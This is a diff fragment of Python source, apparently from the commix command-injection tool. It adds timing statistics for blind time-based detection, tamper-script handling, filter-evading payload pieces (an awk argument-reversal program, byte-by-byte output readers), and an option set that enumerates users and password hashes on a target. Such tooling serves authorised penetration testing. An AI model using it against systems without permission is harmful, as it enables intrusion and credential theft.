+ menu.options.ignore_session = stored_choice
+ return
+ elif again in settings.CHOICE_NO:
+ return
+ elif again in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(again)
+
+"""
+Message regarding unexpected time delays due to unstable requests
+"""
+def time_delay_due_to_unstable_request(timesec):
+ if settings.UNSTABLE_REQUEST_CHOICE:
+ if settings.UNSTABLE_REQUEST_CHOICE == "c" and settings.UNSTABLE_REQUEST_BUMPS < settings.MAX_UNSTABLE_TIMESEC_BUMP:
+ timesec = timesec + 1
+ settings.UNSTABLE_REQUEST_BUMPS = settings.UNSTABLE_REQUEST_BUMPS + 1
+ return timesec, settings.UNSTABLE_REQUEST_CHOICE == "c"
+
+ # Built once: appended to inside the loop, every answer that was not one of the options asked the
+ # question again on the end of the one before it.
+ message = "Unexpected time delays have been identified."
+ message += " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] "
+ settings.print_data_to_stdout(settings.END_LINE.CR)
+ while True:
+ proceed_option = common.read_input(message, default="C", check_batch=True)
+ if proceed_option.lower() in settings.CHOICE_PROCEED :
+ if proceed_option.lower() == "c":
+ settings.UNSTABLE_REQUEST_CHOICE = "c"
+ settings.UNSTABLE_REQUEST_BUMPS = 1
+ timesec = timesec + 1
+ false_positive_fixation = True
+ return timesec, false_positive_fixation
+ elif proceed_option.lower() == "s":
+ settings.UNSTABLE_REQUEST_CHOICE = "s"
+ false_positive_fixation = False
+ return timesec, false_positive_fixation
+ elif proceed_option.lower() == "q":
+ raise SystemExit()
+ else:
+ common.invalid_option(proceed_option)
+ pass
+
+"""
+True only for a genuinely finished stored value - a partial (interrupted-run) marker isn't a result yet, and must be treated the same as "nothing stored" so the caller re-runs (and thereby resumes) it instead of handing back the raw marker.
+"""
+def usable_stored_cmd(stored_value):
+ return bool(stored_value) and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER)
+
+"""
+Whether the target's own answers move about enough to hide a delay inside their spread.
+
+Read as how far the times are spread rather than as how long they are: a target that always takes
+the same three seconds answers a delay as plainly as a fast one does, and asking about it only
+because it is slow refuses a technique that would have worked. It is the swing between answers
+that a delay has to stand clear of, so that is what is measured.
+"""
+def response_times_unsteady():
+ sample = strip_time_outliers(settings.RESPONSE_TIMES)
+ if not sample or len(sample) < 2:
+ return False
+ """
+ Read against the target's own pace as well as in seconds of its own.
+
+ Half a second of movement is the whole answer on a page that comes back at once, and a sixth of
+ one on a sink that runs a command first - so a fixed bar in seconds is cleared by a slow target
+ on nothing but its latency, which is the one reading this question exists to avoid. Both have to
+ hold: a spread too small to matter is not lagging whatever share of the answer it is.
+ """
+ deviation = statistics.stdev(sample)
+ return (deviation > settings.SLOW_TARGET_RESPONSE_STDEV
+ and deviation > statistics.mean(sample) * settings.WARN_TIME_RELATIVE_STDEV)
+
+"""
+Drop high-latency spikes from a response-time sample via a median/MAD cutoff.
+"""
+def strip_time_outliers(values):
+ if not values or len(values) < settings.MIN_OUTLIER_SAMPLE:
+ return values
+ ordered = sorted(values)
+ median = ordered[len(ordered) // 2]
+ mad = sorted(abs(value - median) for value in values)[len(values) // 2]
+ if mad > 0:
+ cutoff = median + settings.TIME_OUTLIER_MAD_COEFF * 1.4826 * mad
+ elif median > 0:
+ # A deviation of zero is what a steady target looks like, not a reason to keep a spike: with
+ # most samples identical the median is the target's own speed, and a multiple of it is the
+ # cutoff. This is the shape a small probe model usually has.
+ cutoff = median * (1 + settings.TIME_OUTLIER_MAD_COEFF)
+ else:
+ return values
+ result = [value for value in values if value <= cutoff]
+ # Half the sample has to survive, and at least the two a deviation can be taken from. Holding out
+ # for the full minimum instead would mean a sample of exactly that size could never lose anything.
+ return result if len(result) >= max(2, len(values) // 2) else values
+
+"""
+Feed a genuinely non-delayed response time into the rolling baseline model.
+"""
+def record_probe_response_time(exec_time):
+ """
+ Only where the request it timed actually reached the sink.
+
+ A probe is a plain request with the payload's own work added on top, so it cannot come back
+ faster than a plain one does. One that does was answered by something in front of the sink - a
+ filter rejecting the payload outright returns at once, having run no command at all - and it says
+ what that refusal costs, not what a probe costs. Taken into the model, those pull the mean toward
+ nothing and the threshold down onto its floor, so an ordinary answer reads as a delay: the delay
+ asked for is raised against a target that was answering normally, and every probe after it pays
+ the longer wait for nothing.
+ """
+ plain = strip_time_outliers(settings.RESPONSE_TIMES)
+ if len(plain) >= 2 and exec_time < statistics.mean(plain) * settings.MIN_PROBE_RELATIVE_COST:
+ return
+ settings.PROBE_RESPONSE_TIMES.append(exec_time)
+ if len(settings.PROBE_RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES:
+ settings.PROBE_RESPONSE_TIMES[:] = settings.PROBE_RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):]
+
+"""
+Record a plain request's response time
+"""
+def record_baseline_response_time(exec_time):
+ settings.RESPONSE_TIMES.append(exec_time)
+ if len(settings.RESPONSE_TIMES) > settings.MAX_TIME_RESPONSES:
+ settings.RESPONSE_TIMES[:] = settings.RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):]
+
+"""
+Blocking warm-up: fills the response-time model to MIN_TIME_RESPONSES before the first real timing
+comparison, instead of running that decision on a thin or empty model.
+
+Says whether it announced itself, so a caller that goes on to fill a second model can carry on
+under the one line rather than printing the same warning over the top of it. Such a caller passes
+'close' as False and closes the line itself once its own dots are done.
+"""
+def warm_up_response_baseline(url, http_request_method, close=True):
+ # Nothing reads the model once '--disable-stats' is given, so the requests that fill it are not
+ # spent either.
+ if menu.options.disable_stats:
+ return False
+ if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES:
+ return False
+ warn_msg = settings.TIMING_BASELINE_MSG
+ warn_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..."
+ # The open line says what is being tested, so it is closed rather than written over - and this
+ # one is left open in its turn, for the dots below to be counted off on it.
+ settings.close_progress_line()
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg))
+ # A target that has stopped answering returns nothing to record, and the model would never fill:
+ # every sample is given a turn, and the ones that failed are not asked for again forever.
+ attempts = 0
+ max_attempts = settings.MIN_TIME_RESPONSES * 2
+ while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES and attempts < max_attempts:
+ attempts += 1
+ sample = requests.quick_response_time_sample(url, http_request_method)
+ if sample is not None:
+ record_baseline_response_time(sample)
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(".")
+ if close and settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(" (done)")
+ if len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES:
+ # Nothing came back at all, so there is no baseline to read a delay against - and a technique
+ # that measures against an empty model would call every answer whatever it started out expecting.
+ if not settings.RESPONSE_TIMES:
+ settings.close_progress_line()
+ return target_unusable("The target answered none of the " + str(settings.MIN_TIME_RESPONSES) +
+ " requests the response-time model asks for, so a time-related result "
+ "would have nothing to be read against.")
+ warn_msg = "The target answered " + str(len(settings.RESPONSE_TIMES)) + " of the "
+ warn_msg += str(settings.MIN_TIME_RESPONSES) + " requests the response-time model asks for. "
+ warn_msg += "Time-related results are read against what was collected."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.close_progress_line()
+ check_lagging()
+ return True
+
+"""
+Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected.
+"""
+def check_lagging():
+ # Settled once, but not off whatever two samples happened to be in hand: a spread read that early
+ # says more about the pair than about the connection, so the verdict waits for a model to read.
+ if not settings.LAGGING_CHECKED and len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES // 2:
+ settings.LAGGING_CHECKED = True
+ deviation = statistics.stdev(settings.RESPONSE_TIMES)
+ pace = statistics.mean(settings.RESPONSE_TIMES)
+ """
+ Read against the target's own pace as well as in seconds of its own.
+
+ Half a second of movement is the whole answer on a page that comes back at once, and ordinary
+ jitter on one that runs a command before answering - a sink that pings for three seconds clears
+ a fixed half-second bar on nothing more than being itself. Called laggy on that alone, the run
+ raises the delay it asks for and every probe after it pays the longer wait, which is hours of
+ waiting bought against a target that was steady all along.
+ """
+ if deviation > settings.WARN_TIME_STDEV and deviation > pace * settings.WARN_TIME_RELATIVE_STDEV:
+ settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True
+ warn_msg = "Detected considerable lagging in the connection response(s). "
+ warn_msg += "Consider using a higher '--time-sec' value (e.g. '10' or more)."
+ settings.print_data_to_stdout(settings.print_critical_msg(warn_msg))
+ return settings.LAGGING_DETECTED
+
+"""
+Current adaptive delay threshold (mean + N*stdev of the baseline), or None if there's no data to compute a deviation from yet.
+"""
+def _delay_threshold_from(times, timesec=None):
+ sample = strip_time_outliers(times)
+ if len(sample) < 2:
+ return None
+ # Taken over one fewer than the sample holds, the way the reference for this takes it: what is in
+ # hand is a sample of the target's answers rather than all of them, and dividing by the count
+ # understates how far the rest of them spread. The coefficient this is multiplied by was chosen
+ # for that estimator, so taking it the other way quietly narrows the margin it stands for - a
+ # tenth of it on the five answers a probe model starts from, which is the model a delay asked for
+ # is read against.
+ deviation = statistics.stdev(sample)
+ mean = statistics.mean(sample)
+ """
+ A sample that does not vary is a steady target, not an unusable one. Answering "no threshold"
+ there hands the decision to the model of plain requests, which are cheaper than these probes -
+ so an ordinary probe reads as delayed, and the check that proves a finding real by asking
+ something that cannot be true sees a delay and calls the finding a false positive. The relative
+ margin below covers the case on its own.
+ """
+ relative = mean * settings.MIN_RELATIVE_DELAY_MARGIN
+ """
+ A margin read off the target's own pace keeps climbing with it, while the delay being asked for
+ stays where it was put - so past a slow enough target the bar stands higher than any answer the
+ payload can produce, and a delay that fires every time is never once seen. Half the delay asked
+ for is the most that can be required of it, whichever of the two is the smaller.
+ """
+ if timesec:
+ relative = min(relative, timesec * settings.MIN_RELATIVE_DELAY_MARGIN)
+ margin = max(settings.TIME_STDEV_COEFF * deviation, relative)
+ return max(settings.MIN_VALID_DELAYED_RESPONSE, mean + margin)
+
+# How late an answer has to be before it counts as a delay that was asked for.
+def current_delay_threshold(timesec=None):
+ # Turned off with '--disable-stats': the delay asked for is then the only thing a probe is read
+ # against, which is what the caller falls back to where no threshold is returned.
+ if menu.options.disable_stats:
+ return None
+ # The payload costs more than a plain request - on the file-based path, two PowerShell launches
+ # more - so what it costs with nothing held back is the only thing a probe can be judged against.
+ # The plain model answers only until enough probes have been seen to have one of their own; the
+ # two are never pooled, since a spread that wide reads as deviation and lifts the threshold above
+ # the delay it exists to catch.
+ if len(settings.PROBE_RESPONSE_TIMES) >= settings.MIN_PROBE_RESPONSES:
+ probe_threshold = _delay_threshold_from(settings.PROBE_RESPONSE_TIMES, timesec)
+ if probe_threshold is not None:
+ return probe_threshold
+ return _delay_threshold_from(settings.RESPONSE_TIMES, timesec)
+
+"""
+Time related shell condition. Uses the adaptive threshold once available, else a fixed one.
+"""
+def time_related_shell(exec_time, timesec):
+ if settings.BASELINE_TARGET:
+ warm_up_response_baseline(*settings.BASELINE_TARGET)
+ lower_limit = current_delay_threshold(timesec)
+ delayed = exec_time >= lower_limit if lower_limit is not None else exec_time >= timesec
+
+ return delayed
+
+"""
+Message regarding time related attcks
+"""
+def time_related_attaks_msg():
+ if not settings.TIME_RELATED_ATTACK_WARNING:
+ warn_msg = "Excessive network load may affect the reliability of time-related payloads."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.TIME_RELATED_ATTACK_WARNING = True
+
+"""
+Check if defined "--url-reload" option.
+"""
+def reload_url_msg(technique):
+ warn_msg = "On the " + short_technique_label(technique) + ", the '--url-reload' switch is not available."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Decision if the user-defined HTTP authenticatiob type,
+is different than the one identified by heuristics.
+"""
+def identified_http_auth_type(auth_type):
+ warn_msg = "Identified different HTTP authentication type ("
+ warn_msg += auth_type.lower() + ") than that you have provided ("
+ warn_msg += menu.options.auth_type + ")."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ message = "How do you want to proceed? [(C)ontinue/(s)kip] "
+ while True:
+ proceed_option = (common.read_input(message, default="C", check_batch=True) or "C").strip().lower()
+ if proceed_option in ("c", "s", "q"):
+ break
+ common.invalid_option(proceed_option)
+ if proceed_option == "s":
+ return False
+ elif proceed_option == "c":
+ return True
+ elif proceed_option == "q":
+ raise SystemExit()
+
+"""
+Retrieve everything from the supported enumeration options.
+"""
+def enable_all_enumeration_options():
+ # Retrieve current user name.
+ menu.options.current_user = True
+ # Retrieve current hostname.
+ menu.options.hostname = True
+ # Retrieve system information.
+ menu.options.sys_info = True
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ # Check if the current user have admin privileges.
+ menu.options.is_admin = True
+ # Retrieve PowerShell's version number.
+ menu.options.ps_version = True
+ else:
+ # Check if the current user have root privileges.
+ menu.options.is_root = True
+ # Retrieve system users.
+ menu.options.users = True
+ # Retrieve system users privileges.
+ menu.options.privileges = True
+ # Retrieve system users password hashes.
+ menu.options.passwords = True
+
+"""
+Parse -p/--skip into their own lists.
+"""
+def check_provided_parameters():
+
+ # The parameter names given as a list, split the way the option accepts them.
+ def parse_parameter_list(raw):
+ if raw.startswith("="):
+ raw = raw[1:]
+ parsed = raw.split(settings.PARAMETER_SPLITTING_REGEX)
+ return [p.split("=")[0] if "=" in p else p for p in parsed]
+
+ if menu.options.test_parameter:
+ settings.TESTABLE_PARAMETERS_LIST = parse_parameter_list(menu.options.test_parameter)
+
+ if menu.options.skip_parameter:
+ settings.SKIP_PARAMETERS_LIST = parse_parameter_list(menu.options.skip_parameter)
+
+ # A plain list of names is accepted in place of an expression, and becomes one that matches those
+ # names whole - so '--param-exclude="id,ses"' does not also exclude 'session_id'.
+ if menu.options.param_exclude:
+ if re.search(r"\A\w+,", menu.options.param_exclude):
+ menu.options.param_exclude = r"\A(" + "|".join(re.escape(_).strip() for _ in menu.options.param_exclude.split(settings.PARAMETER_SPLITTING_REGEX)) + r")\Z"
+ try:
+ re.compile(menu.options.param_exclude)
+ except Exception as err:
+ err_msg = "Invalid regular expression '" + menu.options.param_exclude + "' (" + str(err) + ")."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+ if menu.options.param_filter:
+ settings.PARAM_FILTER_PLACES = [_.strip() for _ in menu.options.param_filter.upper().split(settings.PARAMETER_SPLITTING_REGEX) if _.strip()]
+
+ if menu.options.randomize:
+ settings.RANDOMIZE_PARAMETERS_LIST = [_.strip() for _ in parse_parameter_list(menu.options.randomize) if _.strip()]
+ # A parameter cannot be both the one carrying a new value every request and the one a payload
+ # is placed in - the next request would rewrite the payload.
+ clash = [_ for _ in settings.RANDOMIZE_PARAMETERS_LIST if _ in settings.TESTABLE_PARAMETERS_LIST]
+ if clash:
+ err_msg = "The option '--randomize' is incompatible with the option '-p', for the parameter"
+ err_msg += "s"[len(clash) == 1:] + " '" + ", ".join(clash) + "'."
+ settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
+ raise SystemExit(settings.EXIT_FAILURE)
+
+
+"""
+-p is an exclusive allowlist, --skip a blocklist, neither given tests everything.
+"""
+"""
+Whether a parameter has already been tested, in the place it is carried in.
+"""
+def already_tested(place, check_parameter):
+ return tested_parameter_name(place, check_parameter) in settings.TESTED_PARAMETERS_LIST
+
+"""
+What a parameter is remembered as - the place it is carried in and its name, so that the same name
+in two places is two parameters. Written and read through here, or the two drift apart.
+"""
+def tested_parameter_name(place, check_parameter):
+ return str(place) + ":" + str(check_parameter)
+
+"""
+Whether any of the given names asks for the header, under any of the names that header answers to.
+"""
+def header_named(header, names):
+ if not names:
+ return False
+ if isinstance(names, str):
+ names = [names]
+ wanted = [str(_).lower() for _ in names]
+ return any(alias in wanted for alias in settings.HTTP_HEADER_ALIASES.get(header, (header.lower(),)))
+
+"""
+Whether any standard header was asked for by name.
+"""
+def any_header_named(names):
+ return any(header_named(header, names) for header in settings.HTTP_HEADER_ALIASES)
+
+# Whether this parameter is one the run was told to test.
+def is_parameter_testable(name):
+ if settings.TESTABLE_PARAMETERS_LIST:
+ return name in settings.TESTABLE_PARAMETERS_LIST
+ if settings.SKIP_PARAMETERS_LIST:
+ return name not in settings.SKIP_PARAMETERS_LIST
+ return True
+
+"""
+Why nothing was tested, which happens for two reasons that read nothing alike.
+
+One is a name given with '-p' that the request does not carry - what was asked for is not there.
+The other is every parameter it does carry having been set aside, by '--skip', '--param-exclude',
+'--randomize' or '--smart' - what was asked for is there, and was deliberately left alone. Told the
+first while looking at the parameter in their own URL, the user is sent after something that is not
+wrong; which option set it aside is already said, parameter by parameter, further up.
+"""
+def nothing_tested_message():
+ if settings.TESTABLE_PARAMETERS_LIST and not settings.TESTABLE_PARAMETERS:
+ return "All testable parameters you provided are not present within the given request data."
+ return "No parameter was left to test: every one the request carries was set aside."
+
+"""
+Identify and print non-listed/skipped parameters that were provided but not part of the request.
+"""
+def testable_parameters(url, check_parameters):
+ if settings.SKIP_PARAMETERS_LIST:
+ skipped = [p for p in check_parameters if p in settings.SKIP_PARAMETERS_LIST]
+ if skipped:
+ info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(skipped) > 1] + " '" + ", ".join(skipped) + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ if settings.TESTABLE_PARAMETERS_LIST:
+ settings.TESTABLE_PARAMETERS = bool(
+ settings.TESTABLE_PARAMETERS or
+ any(p in check_parameters for p in settings.TESTABLE_PARAMETERS_LIST)
+ )
+
+ non_listed_params = [p for p in settings.TESTABLE_PARAMETERS_LIST if p not in check_parameters]
+ if non_listed_params:
+ http_method = check_http_method(url)
+ if http_method not in settings.METHODS_WITH_NON_LISTED_PARAMS:
+ settings.METHODS_WITH_NON_LISTED_PARAMS.append(http_method)
+ warn_msg = "Provided parameter" + ("s" if len(non_listed_params) != 1 else "") + " '"
+ warn_msg += ", ".join(non_listed_params) + "'" + (" are", " is")[len(non_listed_params) == 1]
+ warn_msg += " not inside the " + http_method + "."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+The one sentence a tamper script is listed by, read off its own 'About:'.
+
+However many lines that sentence was written over: read as the first line alone, a description long
+enough to wrap was listed cut off, which reads as a truncated answer from commix rather than as a
+description that is merely long. The block itself ends where the next key does, or where the
+docstring does - a script whose 'About:' is the only key it carries has nothing but the latter. The
+lines a script adds under its opening sentence, a bullet apiece for the target families it treats
+differently, elaborate rather than continue it, and belong to neither.
+"""
+def tamper_description(content):
+ match = re.search(r'About:(.*?)(?=\n[A-Z][A-Za-z]*:|\n""")', content, re.S)
+ if not match:
+ return ""
+ description = ""
+ for line in match.group(1).split(settings.END_LINE.LF):
+ line = line.strip()
+ # A bullet is the marker and then a space; '->' and '-An' are a sentence carrying on.
+ if not line or line.split(settings.SINGLE_WHITESPACE)[0] in ("*", "-"):
+ break
+ description = (description + settings.SINGLE_WHITESPACE + line).strip()
+ if description.endswith("."):
+ break
+ return description[0].upper() + description[1:] if description else description
+
+"""
+Lists available tamper scripts
+"""
+def list_tamper_scripts():
+ info_msg = "Listing available tamper scripts."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+ if menu.options.list_tampers:
+ message = ""
+
+ # Sorted by the name each one is listed and asked for by, not by the path it happens to sit at -
+ # which is the category directory, and groups the listing by something the reader is not looking
+ # a script up by.
+ for _, script in sorted(tamper_script_paths().items()):
+ with open(script, "rb") as script_file:
+ content = script_file.read().decode(settings.DEFAULT_CODEC)
+ comment = tamper_description(content)
+ if comment:
+ script_name = os.path.basename(script)
+ message += (
+ "* "
+ + Fore.LIGHTYELLOW_EX
+ + script_name
+ + Style.RESET_ALL
+ + " - "
+ + comment
+ + "\n"
+ )
+
+ settings.print_data_to_stdout(message.rstrip())
+
+"""
+Shared building blocks for tamper scripts' own dependencies() checks - each script decides which
+of these apply to it, instead of a central list here trying to track every script's constraints.
+"""
+"""
+Both of these test the operating system, because that is what commix knows - but what they are
+really enforcing is the syntax a script is written in, so that is what they say. A shell is named
+rather than the host it usually comes with.
+"""
+def tamper_dep_windows_only(tamper_name):
+ if settings.TARGET_OS != settings.OS.WINDOWS:
+ return "The '" + tamper_name + ".py' tamper script needs 'cmd.exe'. Skipping tamper script."
+
+# Why this script cannot be applied to a Windows target.
+def tamper_dep_unix_only(tamper_name):
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ return "The '" + tamper_name + ".py' tamper script needs a POSIX shell. Skipping tamper script."
+
+def tamper_dep_command_incompatible(tamper_name):
+ """
+ Why this script cannot be applied where the payload is a command rather than evaluated code.
+
+ The mirror of 'tamper_dep_eval_incompatible': what these scripts rewrite is the syntax of the
+ language doing the evaluating, which a payload going straight to a shell never carries.
+
+ 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends
+ before that option is ever set - it already carries eval syntax, not a command, which is what
+ 'EVAL_BASED_STATE' marks regardless of whether '--eval' was given.
+ """
+ if not menu.options.eval_sink and not settings.EVAL_BASED_STATE:
+ return "The '" + tamper_name + ".py' tamper script needs code injection (i.e. '--eval'). Skipping tamper script."
+
+# Why this script cannot be applied to an evaluated language other than the one it is written for.
+def tamper_dep_grammar_only(tamper_name, language):
+ if settings.EVAL_GRAMMAR.NAME != language:
+ return "The '" + tamper_name + ".py' tamper script needs '" + language + "' code injection. Skipping tamper script."
+
+def tamper_dep_eval_incompatible(tamper_name):
+ """
+ What these scripts cannot survive is the sink, not the technique that reaches it.
+
+ Asked of the classic technique alone, they were skipped there and applied everywhere else - and
+ code injection is now proven time-based and file-based as well, so the payloads they would have
+ corrupted were being sent by every technique but the one that refused them.
+
+ 'menu.options.eval_sink' alone misses the heuristic probe 'code_injections_heuristic_basic' sends
+ before that option is ever set - a shell-only rewrite applied to that probe's own eval syntax
+ corrupts it into something no language reads back the way the probe needs, which is what
+ 'EVAL_BASED_STATE' catches regardless of whether '--eval' was given yet.
+ """
+ if menu.options.eval_sink or settings.EVAL_BASED_STATE:
+ return "Code injection (i.e. '--eval') does not support the usage of '" + tamper_name + ".py'. Skipping tamper script."
+
+# Why this script cannot be applied where no time-related technique is in scope.
+def tamper_dep_time_related_only(tamper_name):
+ time_related_in_scope = len(menu.options.tech) == 0 or "t" in menu.options.tech or "f" in menu.options.tech
+ if not time_related_in_scope:
+ return "Only time-related techniques support the usage of '" + tamper_name + ".py'."
+
+# Why this script cannot be applied alongside an interpreter of the user's own.
+def tamper_dep_interpreter_incompatible(tamper_name):
+ if menu.options.interpreter:
+ return "Option '--interpreter' does not support the usage of '" + tamper_name + ".py'. Skipping tamper script."
+
+"""
+What separates the payload's words at this point in the run.
+
+The list is shared and the scripts that substitute whitespace rewrite it as they go, so one of them
+undoing its own entry can leave it empty - and a script reading the first entry outright then
+raises, which is turned into a critical error and ends the run. Where there is nothing in it, a
+plain space is what the payload was built with in the first place.
+"""
+def current_whitespace():
+ return settings.WHITESPACES[0] if len(settings.WHITESPACES) != 0 else settings.SINGLE_WHITESPACE
+
+# The separator the parameter at hand was proved on, for a rewrite choosing between forms by it.
+def current_separator():
+ boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER)
+ return boundary[2] if boundary else None
+
+# The statements of an awk program that reads its arguments back from the end, bar the one that
+# prints the result. Every loop is a 'while': a 'for' header carries two ';' of its own, which no
+# newline between statements would take back. Each word is reversed and the words put back in
+# reverse order too, so a command and its arguments come out the way they went in - with 'OFS'
+# standing in for the space between them, a literal one being the whitespace substitution's to take.
+_AWK_REVERSE_STATEMENTS = ("BEGIN{j=ARGC-1", "while(j>0){i=length(ARGV[j])",
+ "while(i>0){o=(o)(substr(ARGV[j],i,1))", "i--}",
+ "if(j>1)o=(o)(OFS)", "j--}")
+
+def decoded_byte_output(value):
+ """
+ Output that was read a byte at a time, given back as the text the target printed.
+
+ Each byte arrives as a character of its own ordinal, which is a single-byte reading - so a target
+ speaking UTF-8 hands back the two characters its one accented character is written with. Reading
+ those bytes as UTF-8 returns the character. Nothing else is: text that was never UTF-8 does not
+ survive the round trip, and is handed back exactly as it came.
+
+ >>> decoded_byte_output("caf\xc3\xa9")
+ 'caf\xe9'
+ >>> decoded_byte_output("plain ascii")
+ 'plain ascii'
+ >>> decoded_byte_output("caf\xe9")
+ 'caf\xe9'
+ """
+ try:
+ decoded = value.encode("latin-1").decode("utf-8")
+ except (UnicodeEncodeError, UnicodeDecodeError, AttributeError):
+ return value
+ return decoded if decoded != value else value
+
+def char_pool_expands():
+ """
+ Whether a byte found to sit above the pool is then looked for in the rest of the range.
+
+ The pool the search runs over is the printable characters, which is what output is made of - a
+ byte above it is reached by asking for more, and that is worth the questions while the pool is
+ commix's own. A pool the user wrote out is a statement about this output: a byte outside it is
+ outside what was asked for, and is left unresolved rather than searched for at a cost the user
+ did not ask to pay.
+ """
+ return not menu.options.charset
+
+def substitution_nests():
+ """
+ Whether a command substitution can hold another one.
+
+ '$( )' can; backticks cannot, not without escaping every inner pair, which is a quote more than
+ the payload is proving. The separators that chain on nothing - '&' and '&&' - say what the others
+ say with two commands by putting one substitution inside another, so they are only written where
+ the substitution in use allows it.
+
+ Read off the substitution itself rather than kept alongside it: the two would otherwise be two
+ answers to one question, and a run that set only one of them would skip the nesting form while
+ still writing '$( )', which nests perfectly well.
+
+ >>> substitution_nests()
+ True
+ """
+ return settings.CMD_SUB_PREFIX != settings.BACKTICK_SUBSTITUTION
+
+def using_backticks():
+ """
+ Whether the substitution in use is the backtick one - the same question substitution_nests()
+ asks, put the way the callers that escape or strip a substitution need to hear it.
+
+ >>> using_backticks()
+ False
+ """
+ return not substitution_nests()
+
+def windows_output_text(cmd):
+ """
+ A command's output as one line, with the whitespace the shell ends it on taken off.
+
+ Trimmed at the end alone: '.trim()' takes the leading whitespace with it, which is the output's
+ own and is kept everywhere else - a POSIX payload removes a single trailing space and no more.
+
+ >>> windows_output_text("ver").endswith(".TrimEnd()")
+ True
+ >>> ".trim()" in windows_output_text("ver")
+ False
+ """
+ return "([string](cmd /c " + cmd + ")).TrimEnd()"
+
+def windows_output_bytes(text):
+ """
+ The bytes a PowerShell string is written in, which is what every ordinal a search asks about is.
+
+ '[char]' answers the code point instead, and the pool a byte is searched in stops at 255 - so a
+ character past Latin-1 reads as one no byte can be, and the position is thrown away as if the
+ target had answered late to everything.
+
+ >>> windows_output_bytes("$x").startswith("([Text.Encoding]::UTF8.GetBytes(")
+ True
+ """
+ return "([Text.Encoding]::UTF8.GetBytes(" + text + "))"
+
+def byte_ordinal(byte_expression):
+ """
+ The ordinal of a single byte, as a number the search can rely on being between 0 and 255.
+
+ A byte comes back through 'printf', which hands it over as a plain char - signed on most builds,
+ so bash answers -61 for the same byte dash answers 195 for. Either answer lands back in range
+ once the span is added on, and the one that was already right is left where it is.
+
+ >>> byte_ordinal("${X}").startswith("$((")
+ True
+ >>> "256" in byte_ordinal("${X}")
+ True
+ >>> "|" in byte_ordinal("${X}")
+ False
+ """
+ prefix, suffix = byte_ordinal_bounds()
+ return prefix + byte_expression + suffix
+
+def byte_ordinal_term(byte_expression):
+ """
+ The same reading, written to go inside an arithmetic expansion that is already open.
+
+ An arithmetic expansion holding another one is not parsed alike everywhere - a dash of the age
+ shipped with older distributions stops at the first '))' and calls the rest a syntax error, which
+ a payload cannot be told apart from a target that simply did not answer. Opened once and the
+ reading put in as a term of it, there is nothing nested to disagree over.
+
+ >>> byte_ordinal_term("${X}").startswith("(")
+ True
+ >>> "$((" in byte_ordinal_term("${X}")
+ False
+ """
+ prefix, suffix = byte_ordinal_bounds()
+ # The bounds, less the expansion they open and close - what is left is the term itself, with the
+ # padding that only ever sat either side of it taken off too.
+ opened = prefix[len("$(("):].lstrip()
+ closed = suffix[:-len("))")].rstrip()
+ return opened + byte_expression + closed
+
+def byte_ordinal_bounds():
+ """
+ What byte_ordinal() writes around a byte, for a rewrite that has to find the reading again and
+ put its own in place of it - taken from here rather than spelled out twice and left to drift.
+
+ >>> "".join(byte_ordinal_bounds()) in byte_ordinal("")
+ True
+ """
+ span = str(settings.HIGHEST_BYTE + 1)
+ return ("$(( ( $(" + settings.BYTE_LOCALE + " printf '%d' \"'",
+ "\") + " + span + " ) % " + span + " ))")
+
+def awk_separator_usable(separator):
+ """
+ Whether awk reads a program whose statements are separated by this one.
+
+ >>> awk_separator_usable(";")
+ True
+ >>> awk_separator_usable(settings.END_LINE.LF)
+ True
+ >>> [awk_separator_usable(_) for _ in ("&", "&&", "|", "", None)]
+ [False, False, False, False, False]
+ """
+ return separator in (";", settings.END_LINE.LF)
+
+def awk_reverse_program(separator, fold=False):
+ """
+ That program, written out with the separator the payload is already proving between its statements.
+
+ >>> "|" in awk_reverse_program(";")
+ False
+ >>> ";" in awk_reverse_program(settings.END_LINE.LF)
+ False
+ >>> "tolower" in awk_reverse_program(";", fold=True)
+ True
+ >>> "tolower" in awk_reverse_program(";")
+ False
+ """
+ printed = "print(" + ("tolower(o)" if fold else "o") + ")}"
+ return "'" + separator.join(_AWK_REVERSE_STATEMENTS + (printed,)) + "'"
+
+"""
+Record the boundary a technique just proved, and put its whitespace at the front of the list.
+
+The boundary itself is what the techniques after this one lead with. The whitespace is promoted on
+top of that because everything reached after detection - the shell, file access, the out-of-band
+exploit - asks for 'WHITESPACES[0]' rather than for the boundary, and a substitute that had to be
+used to prove the injection is just as necessary to use it.
+"""
+def confirm_boundary(bare_prefix, bare_suffix, separator, whitespace):
